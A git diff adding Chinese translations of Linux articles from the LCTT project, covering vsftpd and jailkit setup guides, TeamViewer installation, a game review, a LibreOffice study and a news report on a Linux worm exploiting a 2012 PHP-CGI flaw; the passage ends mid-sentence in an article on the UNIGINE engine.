+[2]:http://sourceforge.net/projects/sbackup/ diff --git a/published/201312/Senior researchers analyzed LibreOffice with interesting conclusions.md b/published/201312/Senior researchers analyzed LibreOffice with interesting conclusions.md new file mode 100644 index 0000000000..6ccee29ce3 --- /dev/null +++ b/published/201312/Senior researchers analyzed LibreOffice with interesting conclusions.md @@ -0,0 +1,30 @@ +高级研究员分析 LibreOffice 得出有趣结论 +================================================================================ +用户、编辑、机关、团队以及城市管理部门都正使用着 [LibreOffice][1] 这样一套免费的开源办公套件。而其与日俱增的用户数量和积极的反馈也反映了它的成功。 + +用户们不仅感受到 LibreOffice 的不妥协和强大之处,就如“分支之后开源软件社区的可持续发展:LibreOffice 是如何演变的?为什么?”这一文章所说的,认真的研究人员似乎已经将 LibreOffice 视为真正的成功。 + +本质上来说。“分支之后开源软件社区的可持续发展:LibreOffice 是如何演变的?为什么?”是一篇研究 LibreOffice 和它的组成的文档,其中涉及研究的组成部分包括从有声望者到公众的看法、未来的功能、吸引支持者和参与者的能力。 + +上述提到的文章得到的结论,自然而然地谈到 LibreOffice 在各个方面的成功,例如: + +- “LibreOffice 项目是 OpenOffice.org 项目的一个分支,并没有显示出长期衰退的迹象。” +- “在 OpenOffice.org 中,LibreOffice 吸引了许许多多长期并且非常活跃的提交者。” +- “开源社区比开源软件项目长寿” +- “LibreOffice 被它的社区视为是可支持的、多元化的和独立的” + +![](http://iloveubuntu.net/pictures_me/libreoffice%20reasearch%20highlights.png) + +这份由 Skövde 大学信息研究中心高级研究人员编写的长达60页的文档(可以在[这里][3]下载),为 LibreOffice 这套强大的办公套件提供了详尽的、深入且精准的分析。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/senior-researchers-analyzed-libreoffice-interesting-conclusions + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libreoffice.org/ +[2]:http://www.sciencedirect.com/science/article/pii/S0164121213002744 +[3]:http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft?md5=4b986a117fb06cc127b854cb5f622bec&pid=1-s2.0-S0164121213002744-main.pdf diff --git a/published/201312/Setup FTP Server On openSUSE 13.1.md b/published/201312/Setup FTP Server On openSUSE 13.1.md new file mode 100644 index 0000000000..fcf34208bd --- /dev/null +++ b/published/201312/Setup FTP Server On openSUSE 13.1.md @@ -0,0 +1,188 @@ +在openSUSE 13.1中配置FTP服务器 +================================================================================ +**vsftpd** ( **非常安全的文件传输协议守护进程**) 是Unix/Linux系统中的一个安全快速的FTP服务器。 在这篇指导教程中,让我们看看在openSUSE 13.1中怎样使用vsftpd来配置一个基本的FTP服务器。 + +### 安装 vsftpd ### + +作为root用户登录然后输入以下命令。 + + # zypper in vsftpd + +启动 vsftpd 服务然后通过设置使它在每次系统重启时自动启动。 + + # systemctl enable vsftpd.service + # systemctl start vsftpd.service + +### 配置 vsftpd ### + +为ftp用户新建一个文件夹。 + + # mkdir /srv/ftp + +创建一个名为 **ftp-users** 的组。 + + # groupadd ftp-users + +让我们来创建一个叫unixmen的示例用户 并设置其主目录为 **/srv/ftp** 组为 **ftp-users** 。 + + # useradd -g ftp-users -d /srv/ftp/ unixmen + +为新用户设置密码。 + + # passwd unixmen + +使ftp主目录 **/srv/ftp/** 可以被ftp用户所访问。 + + # chmod 750 /srv/ftp/ + # chown unixmen:ftp-users /srv/ftp/ + +编辑 vsftpd.conf 文件 + + # nano /etc/vsftpd.conf + +设置如下的更改。 + + [...] + #Uncomment and Set YES to enable write. + write_enable=YES + [...] + # Uncomment and Set banner name for your website + ftpd_banner=Welcome to Unixmen FTP service. + [...] + # Uncomment + ls_recurse_enable=YES + [...] + # Uncomment and set YES to allow local users to log in. + local_enable=YES + [...] + # To disable anonymous access, set NO. + anonymous_enable=NO + [...] + # Uncomment to enable ascii download and upload. + ascii_upload_enable=YES + ascii_download_enable=YES + [...] + ## Add at the end of this file ## + use_localtime=YES + +保存并退出文件。 + +### 测试本地FTP服务器 ### + +首先 让我们按如下步骤尝试登录FTP服务器 + + # ftp localhost + Trying ::1:21 ... + Connected to localhost. + 220 (vsFTPd 3.0.2) + Name (localhost:root): unixmen + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + +正如你在上面所输出的那样, 我们能够用unixmen用户登录到ftp服务器。 +### 测试远程FTP服务器 ### + +默认 openSUSE 内置的防火墙不允许远程系统登录FTP。所以让我们允许vsftpd服务通过suse的防火墙。然后我们需要打开: **Yast -> 安全性与用户 -> 防火墙**. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/openSUSE-12.3-Running-Oracle-VM-VirtualBox_001.jpg) + +在防火墙界面,进入 **允许服务**. 在区域选择下拉框中,选择 **外部区域** 在服务允许下拉框中,选择 **vsftpd 服务器** 然后点击添加。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/openSUSE-12.3-Running-Oracle-VM-VirtualBox_004.jpg) + +单击下一步并关闭Yast控制中心 + +现在尝试从远程系统连接FTP。 + +我试着从我的ubuntu桌面系统登录FTP服务器。 + + sk@sk:~$ ftp 192.168.1.53 + Connected to 192.168.1.53. + 220 (vsFTPd 3.0.2) + Name (192.168.1.53:sk): unixmen + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + +正如你在上面输出中所看到的,我能够连接到ftp服务器。如果不允许vsftpd服务通过防火墙,你将会得到一个连接超时的报错。 + +### 从浏览器连接 ### + +打开你的浏览器并导航到**ftp://ip-address/**。输入ftp用户名和密码。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Index-of-ftp-192.168.1.53-Mozilla-Firefox_005.jpg) + +### 使用FileZilla连接到FTP服务器 ### + +对于新手来说,在命令行模式下工作可能会很烦恼。所以让我们来安装一个叫[**Filezilla**][1]的图形化的FTP客户端。它可以让我们登陆FTP变得更加简单: + +几乎所有的发行版在它们的官方软件仓库中都有filezilla客户端。 为了在基于Linux的系统上安装filezilla 需要键入以下的命令: + +在基于Ubuntu的系统中: + + $ sudo apt-get install filezilla + +在Fedora/Redhat系统中: + + $ sudo yum install filezilla + +在openSUSE中: + + # zypper in filezilla + +安装完fielzilla后打开它。输入ftp服务器的IP地址、用户名和密码,然后点击快速连接。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/unixmen@192.168.1.53-FileZilla_006.jpg) + +为了增加安全性,你可以通过将用户添加到 **/etc/vsftpd.chroot_list**文件中来限制特定用户对FTP服务器的访问。 + +编辑 vsftpd.conf 文件, + + nano /etc/vsftpd.conf + +设置如下的更改. + + [...] + # Uncomment and set YES + chroot_local_user=YES + chroot_list_enable=YES + chroot_list_file=/etc/vsftpd.chroot_list + [...] + +创建 **文件 /etc/vsftpd.chroot_list**, + + nano /etc/vsftpd.chroot_list + +添加你希望能够访问FTP服务器的用户。我添加了用户**unixmen**。 + + unixmen + +重启ftp服务. + + # systemctl restart vsftpd.service + +现在你能够使用chroot_list文件中列出的用户来连接到FTP服务器。 + +如果chroot_list以外的用户想访问FTP服务器,他们将得到如下错误提示。 + + 500 OOPS: could not read chroot() list file:/etc/vsftpd.chroot_list + ftp: Login failed + +就是现在这样,你的FTP服务器已经可以使用了,好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/ + +译者:[zsJacky](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://filezilla-project.org/ diff --git a/published/201312/Setup a jailed shell with jailkit on ubuntu.md b/published/201312/Setup a jailed shell with jailkit on ubuntu.md new file mode 100644 index 0000000000..f8add5003b --- /dev/null +++ b/published/201312/Setup a jailed shell with jailkit on ubuntu.md @@ -0,0 +1,240 @@ +在Ubuntu下用jailkit建立一个受限Shell +================================================================================ + +### Jailkit和jailed Shell ### + +受限shell(Jailed Shell)是一类被限制的shell,它看起来非常像真实的Shell,但是它不允许查看和修改真实的文件系统的任何部分。Shell内的文件系统不同于底层的文件系统。这种功能是通过chroot和其他多种程序实现的。举例来说,给用户建立一个linux shell去让他“玩玩”,或者在一个限定的环境里运行一些程序的所有功能等等。 + +在这个教程里我们将会探讨在Ubuntu下用jailkit建立一个受限shell。Jailkit是一个让你快速建立一个受限shell的工具,将受限用户放到里面,并配置那些要在受限制环境里运行的程序。 + +Jailkit 从这里下载:[http://olivier.sessink.nl/jailkit/][1] + + +###在Ubuntu/Debian 上安装 jailkit ### + +1. 因为jaikit需要在系统上编译,首先,我们需要有用于编译的那些工具。所以,安装如下包: + + $ sudo apt-get install build-essential autoconf automake libtool flex bison debhelper binutils-gold + +2. 从下述URL下载Jailkit,或者访问它的网站以下载最新版本的,如果有了更新版本的话。http://olivier.sessink.nl/jailkit/jailkit-2.16.tar.gz + + $ wget http://olivier.sessink.nl/jailkit/jailkit-2.16.tar.gz + +3. 解压 + + $ tar -vxzf jailkit-2.16.tar.gz + +4. 编译并创建deb软件包 + + Jailkit已经包含了用于编译成deb软件包的代码和配置,可以直接安装在Debian系的Linux上。运行下列命令来完成它。 + + $ cd jailkit-2.16/ + $ sudo ./debian/rules binary + +5. 安装deb软件包 + + 上述命令创建的deb软件包叫做: jailkit_2.16-1_amd64.deb. + + $ cd .. + $ sudo dpkg -i jailkit_2.16-1_amd64.deb + + 就是这样,现在Jailkit已经安装完成了。Jailkit有许多命令可以用来设置一个基于chroot的受限环境,如下是这些命令: + + $ jk_ + jk_addjailuser jk_chrootlaunch jk_cp jk_jailuser jk_lsh jk_uchroot + jk_check jk_chrootsh jk_init jk_list jk_socketd jk_update + +上述命令都有man帮助信息,如果你使用它们时,可以参考。 + +### 配置Jailed Shell ### + +1. 配置受限环境 + + 我们需要建立一个目录来存放所有受限环境的配置。目录随便放在什么地方,比如我们可以创建个/opt/jail的目录。 + + $ sudo mkdir /opt/jail + + 这个目录应为Root所有。用chown改变属主。 + + $ sudo chown root:root /opt/jail + +2. 设置在受限环境中可用的程序 + + 任何程序想要在受限环境中执行则必须用jk_init命令拷贝到目录中。 + + 例如: + + $ sudo jk_init -v /jail basicshell + $ sudo jk_init -v /jail editors + $ sudo jk_init -v /jail extendedshell + $ sudo jk_init -v /jail netutils + $ sudo jk_init -v /jail ssh + $ sudo jk_init -v /jail sftp + $ sudo jk_init -v /jail jk_lsh + + 或一次性解决: + + $ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp + + 像basicshell, editors, netutils是一些组名,其中包含多个程序。复制到jail shell中的每个组都是可执行文件、库文件等的集合。比如**basicshell**就在jail提供有bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep等程序。 + + 完整的程序列表设置,你可以在/etc/jailkit/jk_init.ini中查看。 + + > jk_lsh (Jailkit limited shell) - 这是一个重要的部分,必须添加到受限环境中。 + +3. 创建将被监禁的用户 + + 需要将一个用户放入jail里。可以先创建一个 + + $ sudo adduser robber + Adding user `robber' ... + Adding new group `robber' (1005) ... + Adding new user `robber' (1006) with group `robber' ... + Creating home directory `/home/robber' ... + Copying files from `/etc/skel' ... + Enter new UNIX password: + Retype new UNIX password: + passwd: password updated successfully + Changing the user information for robber + Enter the new value, or press ENTER for the default + Full Name []: + Room Number []: + Work Phone []: + Home Phone []: + Other []: + Is the information correct? [Y/n] y + + 注意:目前创建的是一个在实际文件系统中的普通用户,并没有添加到受限环境中。 + + 在下一步这个用户会被放到受限环境里。 + + 这时候如果你查看/etc/passwd文件,你会在文件最后看到跟下面差不多的一个条目。 + + robber:x:1006:1005:,,,:/home/robber:/bin/bash + + 这是我们新创建的用户,最后部分的/bin/bash指示了这个用户如果登入了那么它可以在系统上正常的Shell访问 + +4. 限制用户 + + 现在是时候将用户限制 + + $ sudo jk_jailuser -m -j /opt/jail/ robber + + 执行上列命令后,用户robber将会被限制。 + + 如果你现在再观察/etc/passwd文件,会发现类似下面的最后条目。 + + robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh + + 注意:最后两部分表明用户主目录和shell类型已经被改变了。现在用户的主目录在/opt/jail(受限环境)中。用户的Shell是一个名叫jk_chrootsh的特殊程序,会提供Jailed Shell。 + + jk_chrootsh这是个特殊的shell,每当用户登入系统时,它都会将用户放入受限环境中。 + + 到目前为止受限配置已经几乎完成了。但是如果你试图用ssh连接,那么注定会失败,像这样: + + $ ssh robber@localhost + robber@localhost's password: + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) + * Documentation: https://help.ubuntu.com/ + 13 packages can be updated. + 0 updates are security updates. + *** /dev/sda7 will be checked for errors at next reboot *** + *** /dev/sda8 will be checked for errors at next reboot *** + Last login: Sat Jun 23 12:45:13 2012 from localhost + Connection to localhost closed. + $ + + 连接会立马关闭,这意味着用户已经活动在一个受限制的shell中。 + +5. 给在jail中的用户Bash Shell + + 下个重要的事情是给用户在限制环境中的一个正确的bash shell。 + + 打开下面的文件 + + /opt/jail/etc/passwd + + 这是个jail中的password文件。类似如下 + + root:x:0:0:root:/root:/bin/bash + robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh + + 将/usr/sbin/jk_lsh改为/bin/bash + + root:x:0:0:root:/root:/bin/bash + robber:x:1006:1005:,,,:/home/robber:/bin/bash + + 保存文件并退出。 + +6. 登入限制环境 + + 现在让我们再次登入受限环境 + + $ ssh robber@localhost + robber@localhost's password: + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) + * Documentation: https://help.ubuntu.com/ + 13 packages can be updated. + 0 updates are security updates. + *** /dev/sda7 will be checked for errors at next reboot *** + *** /dev/sda8 will be checked for errors at next reboot *** + Last login: Sat Jun 23 12:46:01 2012 from localhost + bash: groups: command not found + I have no name!@desktop:~$ + + 受限环境说'I have no name!',哈哈。现在我们在受限环境中有了个完整功能的bash shell。 + + 现在看看实际的环境。受限环境中的根目录实际就是真实文件系统中的/opt/jail。但这只有我们自己知道,受限用户并不知情。 + + I have no name!@desktop:~$ cd / + I have no name!@desktop:/$ ls + bin dev etc home lib lib64 run usr var + I have no name!@desktop:/$ + + 也只有我们通过jk_cp拷贝到jail中的命令能使用。 + + 如果登入失败,请检查一下/var/log/auth.log的错误信息。 + + 现在尝试运行一些网络命令,类似wget的命令。 + + $ wget http://www.google.com/ + + 如果你获得类似的错误提示: + + $ wget http://www.google.com/ + --2012-06-23 12:56:43-- http://www.google.com/ + Resolving www.google.com (www.google.com)... failed: Name or service not known. + wget: unable to resolve host address `www.google.com' + + 你可以通过运行下列两条命令来解决这个问题: + + $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2 + $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2 + + 这样才能正确的定位到libnss_files.so和libnss_dns.so + +### 在限制环境中运行程序或服务 ### + +现在配置已经完成了。可以在限制/安全的环境里运行程序或服务。要在限制环境中启动一个程序或守护进程可以用**jk_chrootlaunch**命令。 + + $ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail + +jk_chrootlaunch工具可以在限制环境中启动一个特殊的进程同时指定用户特权。如果守护进程启动失败,请检查/var/log/syslog/错误信息。 + +在限制环境中运行程序之前,该程序必须已经用jk_cp命令复制到jail中。 + +> jk_cp - 将文件包括权限信息和库文件复制到jail的工具  + +进一步阅读有关其他jailkit命令信息,可以阅读文档,[http://olivier.sessink.nl/jailkit/][1] + +-------------------------------------------------------------------------------- +via: http://www.binarytides.com/install-jailkit-ubuntu-debian/ + +via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://olivier.sessink.nl/jailkit/ + diff --git "a/published/201312/TeamViewer 9 Released \342\200\223 Install on RHEL\357\274\217CentOS\357\274\217Fedora and Debian\357\274\217Ubuntu.md" "b/published/201312/TeamViewer 9 Released \342\200\223 Install on RHEL\357\274\217CentOS\357\274\217Fedora and Debian\357\274\217Ubuntu.md" new file mode 100644 index 0000000000..d9080abbd5 --- /dev/null +++ "b/published/201312/TeamViewer 9 Released \342\200\223 Install on RHEL\357\274\217CentOS\357\274\217Fedora and Debian\357\274\217Ubuntu.md" @@ -0,0 +1,101 @@ +TeamViewer 9发布-在Linux下安装运行 +================================================================================ +这篇指南介绍了怎么样在 **RedHat、 CentOS、 Fedora** 和 **Debian**、 **Ubuntu**、 **Linux Mint**、 **Xubuntu** 等这些系统中安装 **Teamviewer 9**。**Teamviewer** 是一款流行的应用软件,用于远程辅助、桌面共享、计算机之间互传文件、网络会议及在线会议等方面,并且它是一款专业应用程序。而且,个人用户可以免费使用。Teamviewer可以运行在 **Windows、Linux、Mac OS、Android** 系统以及 **iPhone** 设备上,它使用它自己集成的 **WINE** 环境来运行,所以我们用的时候不需单独[安装 WINE 程序][1]了。 **Teamviewer** 并不是原生的 **Linux** 应用程序。 + +最新的稳定版本 **TeamViewer 9** 近期已经发布了,有了些新的功能和性能的改进。在 **TeamViewer 9** 中增加的一些新功能特性,其要点如下: + +### Windows、Linux 和 Mac 系统下的功能特性 ### + +- 在不同的选项卡中打开多个链接 +- 支持局域网唤醒 +- 支持为 TeamViewer 帐户添加双因子身份验证 +- 支持 Windows 8.1 和 Mac OS X Mavericks 系统 +- 能保存自定义模块,如uickSupport、QuickJoin等等 +- 集成了应用程序编程接口(API) +- 更强的 Teamviewer 账户安全 +- 通过桌面快捷方式快速连接 +- 可视化通知信息 +- 不同计算机间复制和粘贴文件和文本 +- 不同计算机间的初始化文件传输 +- 视频传输更快 + +### 在 RedHat、 CentOS、 Fedora 上安装 Teamviewer 9 ### + +你可以在 [teamviewer_linux.rpm][2] 上下载到基于 Linux 发行版本的 rpm 包。 + + # wget http://www.teamviewer.com/download/teamviewer_linux.rpm + +然后开始安装。进入你的下载包所在的目录,执行如下的 yum 命令来安装,它将会自动安装需要的依赖包。 + + # yum install teamviewer_linux.rpm + +如果出现公钥缺失错误,你可以用如下命令来下载,并导入之。 + + # wget http://www.teamviewer.com/link/?url=354858 + # rpm --import TeamViewer_Linux_PubKey.asc + +在导入公钥后,请再一次运行 “ **yum install** ” 命令来安装 Teamviewer rpm 包。 + +要启动运行 Teamviewer 应用,从终端中运行如下命令。 + + # teamviewer + +Teamviewer 应用程序正运行在我的 **Fedora 18** 系统上。 + +![Running TeamViewer in Fedora 18](http://www.tecmint.com/wp-content/uploads/2013/02/f-t3.jpg) + +*Fedora 18 系统上运行的 TeamViewer* + +### 在 Ubuntu, Linux Mint, Xubuntu 上安装 Teamviewer 9 ### + +你可以在 [teamviewer linux .deb][3] 上下载到基于 **32-位** 系统或 **64-位** 系统的 teamviewer 安装包,或者你可以用如下所示的 **wget** 命令来下载安装包。 + + ## 32 位系统 ## + $ sudo wget http://www.teamviewer.com/download/teamviewer_linux.deb + + ## 64 位系统 ## + $ sudo wget http://www.teamviewer.com/download/teamviewer_linux_x64.deb + +一旦下载好,就可以进入你下载的 Teamviewer 包所在的目录,然后运行如下命令来安装。 + + ## 32 位系统 ## + $ sudo dpkg -i teamviewer_linux.deb + + ## 64 位系统 ## + $ sudo dpkg -i teamviewer_linux_x64.deb + +如果出现有缺失依赖包错误这种情况,请使用如下命令来安装这些依赖包。 + + sudo apt-get install -f + +一旦全部都安装成功,在 **Ubuntu** 系统中要启动 Teamviewer,打开 **Dash 主窗口**,输入 **teamviewer** ,然后点击出现的 **teamviewer** 图标,程序就启动运行了。 + +![Running TeamViewer in Ubuntu 13.10](http://www.tecmint.com/wp-content/uploads/2013/02/u-t1.png) + +*Ubuntu 13.10 系统上运行的 TeamViewer* + +Teamviewer 应用程序正运行在我的 **Ubuntu 13.10** 系统上。 + +![TeamViewer 9 Under Ubuntu 13.10](http://www.tecmint.com/wp-content/uploads/2013/02/u-t2.jpg) + +*在 Ubuntu 13.10 下的 TeamViewer 9* + +要在 **Linux Mint** 上启动,进入 **菜单 >> 网络 >> Teamviewer**, 并点击 **接受许可协议** 来启动运行 TeamViewer。 + +Teamviewer 应用程序正运行在我的 **Linux Mint 15** 系统上。 + +![Running TeamViewer in Linux Mint 15](http://www.tecmint.com/wp-content/uploads/2013/02/m-t5.png) + +*Linux Mint 15 系统上运行的 TeamViewer* + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/how-to-install-teamviewer-on-linux-distributions/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/install-wine-in-rhel-centos-and-fedora/ +[2]:http://www.teamviewer.com/download/teamviewer_linux.rpm +[3]:http://www.teamviewer.com/hi/download/linux.aspx diff --git a/published/201312/Test your reflexes with Briquolo, fast breakout game.md b/published/201312/Test your reflexes with Briquolo, fast breakout game.md new file mode 100644 index 0000000000..43b8fe9024 --- /dev/null +++ b/published/201312/Test your reflexes with Briquolo, fast breakout game.md @@ -0,0 +1,25 @@ +打砖块游戏Briquolo,测试你的反应速度 +================================================================================ + +[Briquolo][2]是一款快速而又迷人的游戏,用一个球来破坏不同的物体,经典而又好玩。 + +Briquolo十分考验反应速度,因此,游戏玩家必需时刻注意球的反弹走向,一不留神就可能让球掉落。 + +启动游戏后,你会看到这是一款3D游戏,以3D对象展现的华丽木块浮动在一个多彩的环境里,当击破木块时有机率掉落特殊物体,毫无疑问获取它们是至关重要的,这会改变球或滑板的状态,比如球会加速,但有时候也会给你带来麻烦。 + +音乐及特效选项还提供了更精致的效果(包括游戏全屏,高分辨率,--可调至1920×1080--),进而呈现一个有趣而又更富挑战性的Briquolo。 + +![](http://iloveubuntu.net/pictures_me/Briquolo%20usc.jpg) + +Briquolo 0.5.7可以通过Ubuntu软件中心(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)[免费安装][2]。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://briquolo.free.fr/en/ +[2]:apt://briquolo diff --git a/published/201312/This new worm targets Linux PCs and embedded devices.md b/published/201312/This new worm targets Linux PCs and embedded devices.md new file mode 100644 index 0000000000..b60da7d908 --- /dev/null +++ b/published/201312/This new worm targets Linux PCs and embedded devices.md @@ -0,0 +1,40 @@ +新蠕虫能感染 Linux 系统和嵌入式设备! +================================================================================ + +**来自赛门铁克研究员的消息,这个病毒通过2012年出现的 PHP 漏洞传播** + +据美国国际数据集团(IDG)的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机,其变种还会对运行在其他芯片架构上的设备(诸如家用路由器和机顶盒)造成威胁。 + +根据赛门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口(CGI)的配置环境下被执行。此漏洞的代号为 CVE-2012-1823(通过这个漏洞,攻击者可以远程执行任意代码,所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注)。2012年5月份,PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。 + +这个赛门铁克的研究员在[博客][1]中写道:这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码(PoC:proof of concept,概念验证。利用目标计算机的漏洞,为对其进行攻击而设计的代码称为 exploit,而一个没有充分利用漏洞的 exploit,就是 PoC —— 译者注)。 + +“在传播过程中,这段蠕虫代码会随机产生 IP 地址,通过特殊途径,利用普通的用户名密码发送 HTTP POST 请求,探测漏洞”,研究员解释道:“如果一个目标没有打上 CVE-2012-1823 的补丁,这台机器就会从病毒服务器下载蠕虫病毒,之后寻找下一个目标。” + +这个唯一的蠕虫变种目前为止只感染了 x86 系统,这是因为这个病毒的二进制格式为 Intel 架构下的 ELF (Executable and Linkable Format)格式。 + +然而这个研究员警告说,黑客也为其他架构开发了病毒,包括 ARM,PPC,MIPS 和 MIPSEL。 + +这些计算机架构主要用于诸如家用路由器、网络监视器、机顶盒以及其他嵌入式设备。 + +“攻击者显然试图在最大范围内感染运行 Linux 的设备”,研究员又说:“然而我们还没有证实他们有没有攻击非 PC 设备。” + +很多嵌入式设备的固件都使用 Linux 作为操作系统,并且使用 PHP 作为 Web 服务管理界面。这些设备比 PC 机 或服务器更容易被攻陷,因为它们不会经常更新软件。 + +在嵌入式设备为一个漏洞打上补丁,从来都不是件容易的事。很多厂商都不会定期公布更新信息,而当他们公布时,用户也不会被告知说这些更新解决了哪些安全问题。 + +并且,在嵌入式设备上更新软件比在计算机上需要更多的工作,以及更多的技术知识。用户需要知道哪些网站能提供这些更新,然后下载下来,通过 Web 界面更新到他们的设备中。 + +“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞,”啰嗦的研究员说:“我们面临的另一个问题是,即使用户注意到他们用的是有漏洞的设备,这些设备的供应商却没有提供补丁,原因是技术落后,或者完全就是硬件的限制:内存不足,或 CPU 太慢,不足以支持这些软件的新版本。” + +“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的赛门铁克研究员说道。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices diff --git a/published/201312/Top Email Encryption Tools.md b/published/201312/Top Email Encryption Tools.md new file mode 100644 index 0000000000..606d1aa788 --- /dev/null +++ b/published/201312/Top Email Encryption Tools.md @@ -0,0 +1,33 @@ +超赞的电子邮件加密工具 +================================================================================ +电子邮件仍然是 Linux 操作系统下最受欢迎,也是最有效的服务之一。无论何时,与你的朋友、家人还有同事保持联络都是不可或缺的。随着电子邮件敲诈事件的剧增,操作系统对电子邮件的安全与加密工作变得越来越复杂,也越来越重要。保护电子邮件免于未经授权的访问与查阅是关键环节,因为电子邮件管理协议中并未包含加密部分。电子邮件在设计初并未考虑隐私和安全问题。匮乏的安全措施所导致的后果是一封电子邮件既可以存在于发送设备,也可以存在于交互网络、服务器,或者是接收设备上。 + +保护电子邮件信息安全的方法之一,是发送经过加密的信息。通过信息加密,你可以确保信息在发送过程中不会泄露,未经授权者只能看到毫无意义的乱码。电子邮件加密听起来很高端,事实上由专门的软件来实现再容易不过。 + +OpenPGP 是使用最广泛的电子邮件加密协议标准。无论你使用的是电子邮件客户端,还是 Web 客户端,你都可以通过 OpenPGP 协议来加密你的电子邮件。 + +很少有哪些电子邮件应用程序会默认安装 PGP 功能。不过幸运的是,Linux 下有不少简单而又易用的开源加密软件。 + +为了更直观地对比这些加密软件的效果,我们列出了以下清单。 + +现在,让我们仔细研究这四款电子邮件加密软件。每个标题下我们都收集了软件各自的特征,用完整的描述进行了深度分析,同时也附上了资源链接与评论。 + +### 电子邮件加密工具 ### + +- [Enigmail][1] Mozilla 系列的 OpenPGP 电子邮件加密软件 +- [Mailvelope][2] 谷歌与火狐浏览器的扩展插件 +- [GnuPG][3] 为数据和通信提供加密或签名保护 +- [Mymail-Crypt for Gmail][4] 简易电子邮件解决方案 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/2013120707481589/EmailEncryption.html + +译者:[SteveArcher](https://github.com/SteveArcher) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxlinks.com/article/20080722152918438/Enigmail.html +[2]:http://www.linuxlinks.com/article/20131207142352926/Mailvelope.html +[3]:http://www.linuxlinks.com/article/20080502162011504/GnuPG.html +[4]:http://www.linuxlinks.com/article/20131207152244140/Mymail-Crypt-for-Gmail.html \ No newline at end of file diff --git a/published/201312/UNIGINE Is Probably the Best Gaming Engine on Linux.md b/published/201312/UNIGINE Is Probably the Best Gaming Engine on Linux.md new file mode 100644 index 0000000000..01c0c0c66f --- /dev/null +++ b/published/201312/UNIGINE Is Probably the Best Gaming Engine on Linux.md @@ -0,0 +1,36 @@ +UNIGINE 可能是 Linux 上最好的游戏引擎 +================================================================================ +**UNIGINE,是一个实时的 3D 引擎,它能够在所有主流的平台上运行,包括 Linux,并刚刚升级到新的版本,带给了我们一些重要的新特性。** + +![](http://i1-news.softpedia-static.com/images/news2/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484-2.jpg) + +Unigine 引擎正是由 Unigine 公司开发的, 同时这公司还开发了 Heaven DX11 基准测试软件。 这公司开发的技术总是越来越好,并且随着他们最近在 